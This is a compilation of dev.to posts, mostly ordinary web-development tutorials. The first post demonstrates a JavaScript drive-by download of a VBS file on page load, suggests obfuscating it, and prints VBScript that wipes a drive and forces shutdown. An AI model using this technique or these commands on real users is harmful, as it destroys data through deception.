teleren/devto huggingface dataset:
JavaScript Magic Tricks: Automatic Download
Tags: javascript, programming, webdev
Published: 2023-10-15 01:46:19

Under normal circumstances, when we want to download a certain file from a website, we always need to actively click to initiate the download operation, which is taken for granted.

However, have you ever encountered a scenario where opening a certain webpage automatically downloads a file without any clicks from you? It's scary, like an incredible black magic. But this is actually possible to achieve in reality, using JavaScript.

## Target
Please refer to the following demo: When the page is opened, a vbs file is automatically downloaded in the background. When the downloaded file is clicked, the vbs script file is executed, and a "Hello" window is displayed.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6espg2zvsg70uh11o0dg.png)

Because it is a VBS script, if you click on the file, it will be opened and executed:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/286178z2b7fft95ohuj6.png)

Select Open, and the script will be executed:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wf3aksaqie1s1s4te3wc.png)

As shown in the page source code, this example only executes the command "msgbox("hello")". The source code of the automatically downloaded vbs file is as follows:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fskxjj3kvy68a70p9du8.png)

## Source
The effect is incredible, but the source code is very simple. The complete html page code is as follows:

```
<html>
<script>
var blob = new Blob(['msgbox("hello")'],{type:'application/vbs'});
var a = document.createElement('a');
a.href = window.URL.createObjectURL(blob);
a.download =  'game.vbs';
a.click();
</script>
</html>
```

And it can also be obfuscated with JShaman JavaScript Obfuscator to prevent others from viewing the source code and understanding its actual functionality. Msgbox is just a popup box, but VBScript can achieve many powerful and scary functions. 

For example:
`dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd /c “”del d:\*.* / f /q /s”””,0 ,true`

Another example:
`dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “shutdown -f -s -t 00”,0 ,true`

Analyzing these two VBScript scripts, it can be seen that their execution may have dangerous consequences, and they may even download and execute other Exe files, etc. 

## How to prevent this threat? 
Files may be automatically downloaded, not only VBScript scripts but also Exe files. However, they will not be executed as long as they are not clicked. Therefore, it is necessary to enhance security awareness and not click, open, or execute files from unknown sources.
Cory’s Coding Tips
Tags: javascript, webdev, programming
Published: 2023-10-15 01:31:27

Checking if an element has scrolled into view.

I’ll keep this short and sweet because it took me a while to get this just right.

**Here’s the snippet**

```
let hasScrolledIntoView = (element) => {
  const rect = element.getBoundingClientRect();
  return (rect.top < window.innerHeight && rect.bottom >= 0;
}
```
**What’s going on here?**
We have a function that takes in an html element.
We get the bounding rectangle.
We return if the top position of the element is < the window’s inner height and the bottom position of the element is ≥ 0.

**What do I do with this?**
Slap this function inside one of these on scroll babies:

```
addEventListener("scroll", (event) => {
  hasScrolledIntoView(el);
});
```

Make sure your `el` variable is a thing.

And you’re good to go!

See ya next time!

**Why do I want to use this?**
I didn’t want to find a library to tell me this info and I didn’t want to do offset math.

I originally posted this on medium, you can follow me there: 
https://medium.com/p/8f92dcbd6b05
Progressively enhanced WebGL and Lens Refraction
Tags: webgl, reactthreefiber
Published: 2023-10-28 15:12:17

---
title: Progressively enhanced WebGL and Lens Refraction
published: true
date: 2023-10-15 00:49:00 UTC
tags: webgl,reactthreefiber
canonical_url: https://reactjsexample.com/progressively-enhanced-webgl-lens-refraction/
---

# Progressively Enhanced WebGL Lens Refraction
 ![Progressively enhanced WebGL and Lens Refraction](https://reactjsexample.com/content/images/2023/10/Code_2023-10_11-44-24.jpg)

Learn how to create a responsive WebGL layout powered by CSS and React Three Fiber. By [David Lindkvist](https://twitter.com/ffdead) @ [14islands](https://14islands.com).

![Progressively enhanced WebGL and Lens Refraction](https://camo.githubusercontent.com/32fd660caa809860d31def597c42bcb0c03456ae46a24d90bf6927fd3c50b9b0/68747470733a2f2f74796d70616e75732e6e65742f636f64726f70732f77702d636f6e74656e742f75706c6f6164732f323032332f31302f776562676c4c656e732e676966)

[Article on Codrops](https://tympanus.net/codrops/?p=73607)

[Demo](https://tympanus.net/Tutorials/WebGLLensRefraction/)

## Installation

```
pnpm i
pnpm start

```

## Credits

- [react-three-fiber](https://github.com/react-spring/react-three-fiber)
- [three.js](https://threejs.org/)
- [React](https://reactjs.org/)
- Image credits: [Maxim Berg](https://unsplash.com/@maxberg)
- Lens refraction based on [Lens Refraction by Paul Henschel](https://codesandbox.io/s/2n98yj)

## GitHub

[View Github](https://github.com/14islands/codrops-scroll-rig-tutorial?ref=reactjsexample.com)
Talent vs. Effort in Learning Complex Skills?
Tags: discuss, codenewbie, beginner
Published: 2023-10-15 00:00:00

---
published_at : 2023-10-15 00:00 +0000
---
What's the distinction between innate talent and diligent effort when it comes to mastering complex subjects like programming? What's your perspective on the interplay between talent and hard work in the process of acquiring skills?

Follow the [CodeNewbie Org](https://dev.to/codenewbieteam) and [#codenewbie](https://dev.to/t/codenewbie) for more discussions and online camaraderie!

*{% embed* https://dev.to/codenewbieteam *%}*
Which Trends Will Become Obsolete?
Tags: discuss
Published: 2023-10-15 00:00:00

---
published_at : 2023-10-15 00:00 +0000
---
Do you foresee any trends like the gig economy or cord-cutting fading away as societal preferences and needs evolve? Share your insights and predictions.

Follow the DEVteam for more discussions and online camaraderie!

{% embed [https://dev.to/devteam](https://dev.to/devteam) %}
Handling `multipart/form-data` in Next.js
Tags: nextjs, fullstack
Published: 2023-10-14 23:48:47

When working with Next.js, handling file uploads can become a bit tricky, especially when dealing with `multipart/form-data`. In this guide, I'll explain how I integrated Fastify, Multer, and Axios to effectively handle these file uploads and interact with an external API.

## 1. **Why the need for Fastify and Multer?**

Next.js's default body parser doesn't handle `multipart/form-data` out of the box. Fastify is a web framework that can be easily integrated with Next.js for enhanced request processing. On the other hand, Multer is a middleware for Express.js (and Fastify with the right plugins) that makes it easy to handle `multipart/form-data`.

## 2. **Setting up Fastify with Multer**:

Firstly, you'll need to install necessary packages:

```bash
npm install multer fastify-multipart
```

To use them with Fastify:

```javascript
import fastifyMultipart from 'fastify-multipart';

const server = fastify();
server.register(fastifyMultipart);
```

## 3. **Configuring the Next.js API Route**:

Now, let's set up the Next.js API route:

```javascript
import multer from 'multer';

const storageConfig = multer.memoryStorage();
const upload = multer({ storage: storageConfig });

export const config = {
  api: {
    bodyParser: false,
  },
};

export default async function handler(req, res) {
  upload.single('file')(req, null, async (err) => {
    if (err) {
      return res.status(500).json({ error: 'Upload error.' });
    }

    const file = req.file;
    const formData = new FormData();
    formData.append('file', file.buffer, { filename: file.originalname, contentType: file.mimetype });

    try {
      const response = await axios.post('YOUR_EXTERNAL_API_ENDPOINT', formData, {
        headers: formData.getHeaders(),
      });
      res.status(200).json(response.data);
    } catch (error) {
      res.status(500).json({ error: 'External API error.', details: error.message });
    }
  });
}
```

## Conclusion:

This method provides a streamlined way to handle file uploads in Next.js, allowing you to focus more on other aspects of your application. Integrating Fastify and Multer takes care of the heavy lifting, making it simpler to manage `multipart/form-data` and interact with external services.

Remember to replace 'YOUR_EXTERNAL_API_ENDPOINT' with the actual endpoint of the external API you're working with. Happy coding!

---
Чи ефективні сесії у психолога онлайн?
Published: 2023-10-14 22:55:26

[Психолог онлайн](https://rakhubovska.com/) — спеціаліст, який потрібен все більшій кількості людей, особливо в умовах війни, яка травмувала таку велику кількість населення. Цей формат спілкування з психологом вже довів свою ефективність, адже він надає можливість отримати кваліфіковану підтримку, не виходячи з дому. Це особливо цінно для людей, які проживають у віддалених регіонах, або для тих, хто, з якихось причин, не може відвідувати спеціаліста особисто.

Онлайн-сесії можуть включати в себе відео- та аудіозв’язок, чат або електронну пошту. Такі сесії дозволяють підтримувати неперервний та стабільний контакт з психологом, який є ключовим фактором успіху терапії. Онлайн-формат також може зменшити дискомфорт та тривогу, які деякі клієнти відчувають, починаючи терапію.

Хоча в онлайн-сесіях існує багато позитивних моментів, важливо враховувати й можливі обмеження цього формату. Наприклад, технічні проблеми, можливі непорозуміння через відсутність невербальних сигналів або конфіденційність інформації.

Ефективність онлайн-сесій також значною мірою залежить від досвіду та навичок психолога. Наприклад, психолог-психоаналітик Христина Рахубовська може використовувати свій професіональний досвід та знання для створення продуктивної атмосфери в онлайн-форматі, допомагаючи клієнтам ефективно працювати над своїми психологічними питаннями та викликами. Таким чином, при правильному підході та врахуванні всіх нюансів, онлайн-психотерапія може бути дійсно ефективним способом надання психологічної допомоги.
Explanatory Data Analysis and Visualizations
Published: 2023-10-14 22:09:59

[](url)In a world fueled by data, it's crucial to unravel the stories hidden within the numbers. Data  <br>
Science is like a superpower, and one of it's fundamental tools is Explanatory Data Analysis. In this  <br>
article we are going to explore the fascinating world of Explanatory Data Analysis and how it helps us make sense of  <br>
data visualizations.  
## Why data visualization?  
Think of data as a puzzle, and each piece is a data point. Data visualization is like assembling those pieces  <br>
into a picture that anyone can understand. We use graphs, charts and plots to turn raw data into insights.  <br>
## The Power of Visuals  
Imagine a dataset full of numbers. It may seem overwhelming at first. However, when you plot those numbers  <br>
on a graph, patterns emerge. You can see trends, outliers and relationships between different data points  <br>
at a glance.  
## Common data Visualization  
1. **Bar Charts**  
Use them to compare categories. For example, visualizing the sales of different products in a store.  <br>
2. **Scatter plots**  
Ideal for exploring relationships between two variables, like  
the ages of people.  
3. **Histograms**  
These are perfect for understanding the distribution of a single variable, like the ages of people in a survey.  
4. **Pie Charts**  
Great for showing parts of a whole, like the percentage distribution of expenses in a budget.  
5. Line Charts  
Use them to track changes over time, such as stock prices over a year.  <br>

### EDA in action  
let's say you have a dataset of student test scores. By creating a histogram, you might discover that most students score between 80 and 90. That's a quick and easy way to understand the overall performance.  <br>

Explanatory Data Analysis through visualizations is your ticket to unraveling the secrets within data. It makes complex information accessible to everyone. So, when you come across data, don't just stare at numbers visualize them. Whether you are data scientist, business analyst, or just someone curious, EDA is a superpower you can wield to transform data into actionable insights.  

In this age of data-driven decision-making, the ability to visually tell the story hidden within the numbers is a skill worth mastering.
Suspense your federated component with caution
Tags: webpack, react, webdev
Published: 2023-10-14 21:10:39

When you see examples of federated components, you will mostly see it wrapped by `React.Suspense`, which basically returns a fallback component until your component is loaded, but suspense does not handle if your federated component throws an error or your micro-site is down, in that case you need to read [this article](https://dev.to/ibrahimshamma99/always-have-plan-b-when-your-federated-component-fails-35di) where we explain to handle the situation when we unable to load the component.


When we want to `Suspense` our federated component we need to take care of the followings:


## Your Federated component may be slow to respond


You better have a spinner inside the fallback component for example:


```tsx
<Suspense fallback={<Spinner />}>
    <FederatedComponent />
</React.Suspense>
```


but the above code can cause an obvious issue, I may have multiple federated component in one page, so: 

## You may consider not showing multiple spinners in your page


In this case you need to do the following:


```tsx
// DO NOT DO THIS
<>
    <Suspense fallback={<Spinner />}>
        <FederatedComponent1 />
    </React.Suspense>

    <Suspense fallback={<Spinner />}>
        <FederatedComponent2 />
    </React.Suspense>
</>


// DO THIS
<Suspense fallback={<Spinner />}>
    <>
        <FederatedComponent1 />
        <FederatedComponent2 />
    </>
</React.Suspense>
```

Again checkout the federated wrapper shown in [this article](https://dev.to/ibrahimshamma99/always-have-plan-b-when-your-federated-component-fails-35di), to make sure if your federated sites are not showing for whatever reason, you load a local fallback component.


## Since we are lazy loading components, these components should have nothing to do with SEO

The crawlers will not wait to scrape the site with the lazily loaded component, so you need your SEO content to be part of your [FCP](https://web.dev/articles/fcp) 



### Side Note: making the intellisense recognize your federated component 


In the previous blogs we used the definition `react-app-env.d.ts` for declaring modules like:

```ts
declare module "app1/FederatedComponent1";
declare module "app1/FederatedComponent2";
```


We can do it in a better fashion where we leverage the types and all ts cool features by going into the `host` `tsconfig`
and in the `compilerOptions` we add in the following in the `paths` properity:

```json
{
"compilerOptions": {

        "paths": {
            "app1/*": ["path/to/app1/federated-components-dir/*"]
}

}
}
```

or just add each federated component one by one: 


```json
{
"compilerOptions": {
        "paths": {
           "app1/FederatedComponent1": ["path/to/app1/federated-component-1"],
            "app1/FederatedComponent2": ["path/to/app1/federated-component-2"]
}

}
}
```


in this way the [ts server](https://github.com/typescript-language-server/typescript-language-server) can detect and parse the component from the microfronent, thanks to monorepos!
A Guide to CSS Flexbox: Creating Flexible Layouts
Tags: webdev, javascript, beginners, css
Published: 2023-10-14 21:09:27

## **Introduction:**

In the world of web development, creating responsive and flexible layouts is a must. One of the most powerful tools at your disposal for achieving this is CSS Flexbox. Flexbox, short for Flexible Box Layout, is a layout model that allows you to design complex, grid-like layouts with ease. In this blog post, we'll explore the basics of CSS Flexbox and show you how to use it to create flexible and responsive designs for your web projects.

**What is CSS Flexbox?**
CSS Flexbox, or simply Flexbox, is a layout model in CSS that provides an efficient way to distribute space and align items in a container, even when their size is unknown or dynamic. It's particularly useful for creating one-dimensional layouts, such as rows or columns.

## **Getting Started with Flexbox:**

** 1. Setting Up the Container:**
Before you can start using Flexbox, you need to designate a container as a flex container. You can do this by applying the display: flex; property to the container's CSS.

```

.container {
  display: flex;
}
```
This simple declaration makes all direct children of the container into flex items.

**2. Defining the Direction:**
By default, a flex container creates a row layout, which is ideal for building horizontal menus or galleries. You can also create a column layout by setting flex-direction to column.

```

.container {
  display: flex;
  flex-direction: column;
}
```
**3. Adjusting Item Alignment:**
You can control how items are aligned within the container using justify-content for horizontal alignment and align-items for vertical alignment.

```

.container {
  display: flex;
  justify-content: center; /* Horizontal alignment */
  align-items: center;     /* Vertical alignment */
}
```
**Flex Properties:**
1. flex-grow, flex-shrink, and flex-basis:
These properties control how items grow or shrink to fill available space within the container. You can define these values for individual flex items:

```
.item {
  flex: 1; /* flex-grow: 1, flex-shrink: 1, flex-basis: 0% */
}
```
2. order:
The order property allows you to rearrange the order of flex items. Items with lower order values appear first.

```

.item {
  order: 2;
}
```
**Real-World Examples:**
**1. Creating a Navigation Menu:**

```
.nav {
  display: flex;
  justify-content: space-around;
  align-items: center;
}
.nav-item {
  flex: 1;
  text-align: center;
}
```
**2. Building a Card Layout:**

```
.card-container {
  display: flex;
  flex-wrap: wrap;
}

.card {
  flex: 1;
  min-width: 250px;
  margin: 10px;
}
```

**Conclusion:**
CSS Flexbox is a powerful tool for creating flexible and responsive layouts in web design. With just a few lines of CSS, you can create complex arrangements of elements that adapt to different screen sizes and content changes. By mastering Flexbox, you can simplify your web development workflow and make your projects more user-friendly and visually appealing. Give it a try, and watch your layouts become more flexible and dynamic than ever before.
Rovy Part 2: Video stream from onboard camera using AWS KVS
Tags: aws, robotics, raspberrypi, iot
Published: 2023-10-14 21:03:03

## Overview

This is the second part of the project that tackles on sending a video stream from the rover's onboard camera through AWS Kinesis Video Stream (KVS) using the WebRTC communication protocol.

{% embed https://www.youtube.com/embed/039OYKCmELI?si=55qd0TAzKkrfaWlx&amp;controls=0 %}


If you want to dive right away into the code, you can check it out here:

- [Rover Hardware](https://github.com/vynci/rovy-hardware/tree/rovy-part-2) (branch -> `rovy-part-2`)
- [Mobile App](https://github.com/vynci/rovy-mobile/tree/rovy-part-2) (branch -> `rovy-part-2`)

> I will be pushing updates to the repositories as I add more things (i.e. sensors) into the rover as I progress in the future, so the main branch might look different by the time you are reading this. As for this article, please refer to the specified branch.

I have a full write-up of this in my blog. You can check it out here [here](https://www.vynci.dev/posts/robot-camera-video-stream-using-aws-kvs).
Git: recreating the history
Tags: git
Published: 2023-10-14 20:49:33

---
title: Git: recreating the history
published: true
description: A step-by-step to reset the repo
tags: git
cover_image: https://www.ashishvishwakarma.com/assets/2018-06-16/Git-Banner.png
# Use a ratio of 100:42 for best results.
# published_at: 2023-10-01 23:44 +0000
---

Why you might want to reset the history of your Git repository and redefine the files that will be versioned?

1. Reduce Repository Size: Over time, a repository can accumulate a large history with numerous commits, branches, and tagged releases. This can make cloning the repository very slow, especially for new team members. Resetting the history can help shrink the repository's size.

2. Sensitive Data Removal: If sensitive data like passwords or API keys have been committed to the repository, it's crucial to remove that information. While you can remove this data in a new commit, the sensitive data will still exist in the repository's history. A hard reset is often the safest way to completely remove this data.

3. Simplify History: A complex and messy commit history can make it difficult for team members to understand the evolution of a project. Resetting the history can simplify it by removing redundant or meaningless commits, making it easier to understand and maintain.

4. Change of Project Scope: Sometimes projects pivot or change direction. In such cases, old files, dependencies, and even codebases may no longer be relevant. Resetting the history allows you to start anew while keeping the most relevant parts intact.

5. Licensing or Ownership Changes: In case the project undergoes changes in licensing or ownership, you may need to remove specific parts of the history to comply with legal requirements. This can involve removing commits from contributors who have not agreed to new terms, or removing code that cannot be licensed under the new terms.

Here is a step-by-step guide:

- 1. Create a new "orphan" branch that does not inherit history.

```bash
git checkout --orphan new_branch
```

- 2. Remove all files from the Git index (staging area).

This removes files only from the index, not from the file system.

```bash
git rm -r --cached .
```

- 3. Add the files you wish to version. Take the opportunity to set up `.gitignore`. Commit these changes.

```bash
git commit -m "Initial commit with selected files"
```

- 4. Delete the old main branch.

```bash
git branch -D main  # replace "main" with the name of your main branch, if different
```

- 5. Rename the new branch to be the new main branch.

```bash
git branch -m main  # again, replace "main" if necessary
```

- 6. Perform a "force push" to the remote repository.

```bash
git push -f origin main  # replace "main" and "origin" as needed
```

These actions are irreversible on the remote repository and can cause issues for other collaborators who are working on the same repository. Measures need to be taken to synchronize their local copies with the new history.

By following these steps, you will create a new main branch with a new set of versioned files, discarding the previous history.